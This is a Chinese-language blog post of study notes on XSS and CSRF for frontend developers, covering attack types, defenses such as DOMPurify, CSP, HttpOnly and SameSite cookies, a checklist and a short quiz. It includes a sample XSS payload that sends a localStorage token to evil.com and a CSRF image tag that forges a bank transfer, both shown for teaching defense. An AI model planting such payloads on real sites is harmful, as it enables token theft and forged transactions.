XSS与CSRF

XSS 与 CSRF(8.4 安全核心)

一、一句话区分

英文 本质 关键点
XSS Cross-Site Scripting 跨站脚本 往你的页面里注入恶意 JS 并执行 利用的是你对用户的信任(用户浏览器执行了攻击者的脚本)
CSRF Cross-Site Request Forgery 跨站请求伪造 借你的身份(cookie)发请求 利用的是网站对用户浏览器的信任

记忆:XSS 是"偷/控",CSRF 是"冒用"。


二、XSS 跨站脚本

三种类型

类型 英文 怎么来的
存储型 Stored XSS 恶意脚本存进数据库(评论、昵称、富文本),所有访问者都会中招
反射型 Reflected XSS 脚本在 URL 参数里,服务端原样返回到页面(?q=<script>...)
DOM 型 DOM-based XSS 前端 JS 把不可信数据写进 DOM(innerHTML、eval、location.hash)

最小示例

<!-- ❌ 危险:把接口返回的数据直接当 HTML 渲染 -->
<div v-html="article.content"></div>
<div [innerHTML]="comment.content"></div>
// ❌ 恶意内容
article.content = `<img src=x onerror="fetch('https://evil.com?t='+localStorage.token)">`
// → 页面一渲染,token 就被发走了

危害

  • 偷 token(localStorage / 非 HttpOnly 的 cookie)
  • 冒充用户操作(改资料、转账、发消息)
  • 钓鱼(伪造登录框)
  • 键盘记录、挖矿

防御(前端能做的)⭐

手段 做法
① 永远用文本插值 Vue {{ }} / React {},框架默认转义
② 禁用 v-html / innerHTML 必须用 → 先 DOMPurify.sanitize(html) 消毒
③ 危险 API 拉黑 eval、new Function、setTimeout('字符串')、javascript: 伪协议
④ CSP 内容安全策略 响应头 Content-Security-Policy: script-src 'self'
⑤ HttpOnly Cookie token 放这里 → JS 读不到,偷不走
⑥ 输入校验 + 输出编码 后端为主,前端为辅
// ✅ 富文本必须消毒
import DOMPurify from 'dompurify'
const safeHtml = DOMPurify.sanitize(rawHtml)   // 去掉 onerror / script
# CSP 示例:只允许本站脚本,禁止内联脚本
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

三、CSRF 跨站请求伪造

攻击流程

① 用户登录 bank.com,cookie 里有 session
② 用户访问了 evil.com(或被诱导点了链接)
③ evil.com 页面里藏着:
   <img src="https://bank.com/transfer?to=attacker&amount=10000">
   或自动提交的表单
④ 浏览器【自动携带 bank.com 的 cookie】发出请求
⑤ bank.com 认为"是用户本人操作" → 转账成功 💥

成立的前提:

  • 用 cookie 做认证(浏览器自动带)
  • 请求是简单请求(GET 或普通表单 POST,不需要预检)
  • 用户已登录

防御 ⭐

手段 说明 强度
① SameSite Cookie SameSite=Lax/Strict → 跨站请求不带 cookie ★★★★★ 最省事
② CSRF Token 服务端下发随机 token,请求必须携带;攻击者拿不到 ★★★★★
③ 自定义请求头 Authorization: Bearer / X-Requested-With ★★★★(跨域需预检,攻击者伪造不了)
④ 双重 Cookie cookie 里放一个值,请求参数/头里再带一遍 ★★★
⑤ 校验 Origin / Referer 服务端拒绝非本站来源 ★★★
⑥ 敏感操作二次验证 短信 / 密码 / 人脸 ★★★★
# ① SameSite(现代浏览器默认 Lax)
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Lax
<!-- ② CSRF Token:服务端渲染时注入隐藏字段 -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="服务端生成的随机串">
</form>

为什么 header 方案天然免疫 CSRF:攻击者无法让受害者的浏览器自动带上 Authorization 头(那是 JS 代码设置的,而攻击者控制不了目标站的 JS)。


四、对比记忆表 ⭐

XSS CSRF
英文 Cross-Site Scripting Cross-Site Request Forgery
攻击者目的 在你的页面执行 JS 借你的身份发请求
信任被利用 用户信任网站 网站信任浏览器(cookie)
是否需要登录 不需要 需要(要有有效会话)
能否偷到 token ✅ ❌(只借用,看不到内容)
主要防御 转义输出、禁 innerHTML、CSP、HttpOnly SameSite、CSRF Token、Origin 校验
localStorage token 💀 高危 免疫
HttpOnly Cookie token ✅ 偷不走 ⚠️ 需防 CSRF

五、前端安全检查清单

□ 所有接口数据都用文本插值渲染,不进 v-html / innerHTML
□ 富文本一律 DOMPurify.sanitize
□ 不用 eval / new Function / setTimeout(字符串)
□ 用户输入不做"黑名单过滤",而是"输出时转义"
□ 项目开启 CSP(至少 script-src 'self')
□ Cookie 带 HttpOnly + Secure + SameSite
□ 敏感操作(转账、删除、改密)二次确认/验证
□ 第三方依赖 npm audit 定期扫描
□ 不在 URL / 日志 / localStorage 里放敏感信息

✅ 自检

Q1:XSS 和 CSRF 的本质区别?

XSS 是注入并执行恶意脚本(偷/控);CSRF 是冒用身份发请求(借)。

Q2:为什么 token 存 localStorage 时,XSS 特别危险?

因为 JS 能直接读 localStorage.token 并外发;而 HttpOnly Cookie JS 读不到。

Q3:为什么用 Authorization header 传 token 能天然防 CSRF?

攻击者无法让受害者浏览器自动带上自定义请求头,跨域还会触发 CORS 预检。

Q4:防 CSRF 最省事的手段是什么?

Cookie 加 SameSite=Lax/Strict(跨站请求不再自动携带 cookie)。

Q5:v-html 一定不能用吗?

尽量不用;必须渲染富文本时,先 DOMPurify.sanitize() 消毒。

posted @ 2026-10-14 17:12  寅信  阅读(18)  评论(0)    收藏  举报